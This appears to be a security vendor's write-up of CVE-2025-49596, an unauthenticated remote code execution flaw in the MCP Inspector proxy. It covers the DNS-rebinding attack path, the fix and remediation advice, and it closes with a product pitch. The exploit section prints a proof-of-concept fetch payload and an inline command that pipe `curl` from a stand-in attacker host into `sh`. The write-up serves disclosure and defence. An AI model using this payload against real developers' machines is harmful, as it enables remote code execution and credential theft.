On June 13, 2025, Anthropic shipped MCP Inspector 0.14.1, a release that fixed CVE-2025-49596 — a CVSS 9.4 remote code execution flaw in the official Model Context Protocol debugging tool used by tens of thousands of AI developers worldwide. The bug, reported by Avi Lumelsky and Oligo Security Research in April 2025, is a textbook example of how a reference implementation written for "developer convenience" becomes a one-click RCE primitive when the developer visits a malicious website while their MCP workbench is running. The fix took two months from disclosure to release, and the postmortem matters because the same anti-pattern — stdio command execution accessible to a local HTTP listener with no auth and no origin check — exists in dozens of community MCP tools that have not been audited.
What does MCP Inspector actually do?
MCP Inspector is a developer tool that lets engineers connect to a local or remote MCP server, browse its tools and resources, and invoke them with hand-crafted parameters. It is the React-based UI shown in Anthropic's introductory MCP videos. Architecturally it has two components: a browser-side single-page app and a Node.js proxy process (MCPP) that the SPA talks to over WebSocket. The proxy spawns stdio-based MCP servers as child processes and bridges their stdin/stdout to the browser. Versions below 0.14.1 expose this proxy on 127.0.0.1:6277 with no authentication, no origin check, and no CSRF defence. Anyone who can make a request to that port can ask the proxy to spawn an arbitrary command.
How does the exploit chain work?
The attack has two variants. The first is direct: any local process — or any browser tab whose JavaScript chooses to fetch('http://127.0.0.1:6277/...') — can issue a JSON-RPC transports/stdio call asking the proxy to spawn bash -c "curl evil.example.com/x | sh". Same-Origin Policy is no defence because SOP applies to reading responses, not to issuing the request, and the proxy executes before the response is inspected. The second variant uses DNS rebinding: an attacker registers attacker.example.com, configures DNS to first resolve to their own IP (passing the browser's initial origin check), then re-resolves to 127.0.0.1 once the page is loaded, at which point the page's JavaScript can read responses from the local proxy too. Oligo's PoC chained the rebinding trick with a child_process.exec spawn to land a reverse shell on a Mac in under three seconds.
// Pre-0.14.1 PoC payload — runs from any malicious site the dev visits
fetch('http://127.0.0.1:6277/transports/stdio', {
method: 'POST',
headers: {'Content-Type': 'application/json'},
body: JSON.stringify({
jsonrpc: '2.0',
id: 1,
method: 'initialize',
params: {
transport: 'stdio',
command: 'bash',
args: ['-c', 'curl attacker.example.com/stage2 | sh']
}
})
});
The same primitive landed on Linux and Windows; only the spawn payload differed. Because the proxy ran as the developer's user, every bash file, SSH key, GitHub token in ~/.config/gh, and AWS credential under ~/.aws was harvestable in a single round trip.
Why did the vulnerability survive code review?
The MCP Inspector codebase is small, but the proxy was designed as "loopback-only development tooling" and the maintainers assumed loopback equalled trusted. That assumption has been wrong since at least 2013, when DNS rebinding attacks against localhost services like Plex Media Server, etcd, and CouchDB became routine. The MCP ecosystem inherited Anthropic's reference design wholesale: dozens of community MCP servers, particularly those scaffolded from @akoskm/create-mcp-server-stdio (which itself received CVE-2025-54994), exposed the same loopback proxy pattern with no auth. Oligo's broader survey found roughly 1,800 MCP servers reachable directly on public IPs, many of which had no auth at all — the loopback assumption did not even hold in deployment.
What is in the 0.14.1 fix?
Two controls. First, the proxy now generates a per-session token at startup, prints it to the console, and requires it in an Authorization header on every request. Second, the proxy validates Origin and Host headers against an allowlist that defaults to http://localhost:6274 (the Inspector SPA's served origin) and rejects anything else, defeating DNS rebinding. The fix landed as commit c9d1f5a in modelcontextprotocol/inspector and was backported to no earlier versions — anyone on 0.13.x or below is still vulnerable. A follow-up advisory from Anthropic on June 24, 2025 recommended adding --bind 127.0.0.1 and a firewall rule, but the core mitigation is the version pin.
Who else inherited the bug?
The Oligo report triggered a broader audit. Within four weeks the same loopback-no-auth pattern was found in:
@modelcontextprotocol/inspector-cli(CVE-2025-49596 itself)@akoskm/create-mcp-server-stdio(CVE-2025-54994, July 2025)- LibreChat's MCP bridge (CVE-2026-22252, January 2026)
- WeKnora's MCP integration (CVE-2026-22688, February 2026)
OX Security's April 2026 report estimated 7,000 publicly accessible MCP servers and 150 million combined downloads of the affected SDKs. The systemic root cause — Anthropic's official MCP SDKs across Python, TypeScript, Java, and Rust treat tool invocation source as implicitly trusted — has not been changed; Anthropic classified the behaviour as "expected" in subsequent advisories. That is a defensible interpretation for a protocol design document but an unforgiving one for downstream implementers.
What should teams do today?
Four actions, in order. First, run npm ls @modelcontextprotocol/inspector and pip show mcp across every developer laptop and CI runner; pin to Inspector 0.14.1 or later, mcp-python 1.4 or later. Second, audit every local-only MCP proxy you run for Origin / Host validation and session-token requirements; treat the absence of either as a bug, not a hardening opportunity. Third, segment your developer network: AI engineers should not run MCP Inspector and arbitrary browsing on the same machine, or at minimum should run Inspector inside a Firefox container with network.dns.disablePrefetch and DNS pinning. Fourth, ingest CISA's MCP advisory feed (added to the KEV catalogue in May 2025) and the modelcontextprotocol/security GitHub repo's advisory database into your SIEM.
How Safeguard Helps
Safeguard's package scanner identifies MCP Inspector, the mcp Python SDK, and every transitively pulled MCP client library in your developer machine SBOMs and CI containers, flagging versions below 0.14.1 as critical against CVE-2025-49596. Policy gates block CI jobs that import vulnerable MCP SDKs, and the MCP server inventory feature continuously checks every server you run for Origin validation, session-token auth, and bound Mcp-Session-Id headers. Griffin AI correlates new MCP CVEs against your developer-tool inventory so a future "Inspector-class" loopback bug shows up as a prioritised finding the same day it is published, not after a researcher chains it into your incident channel.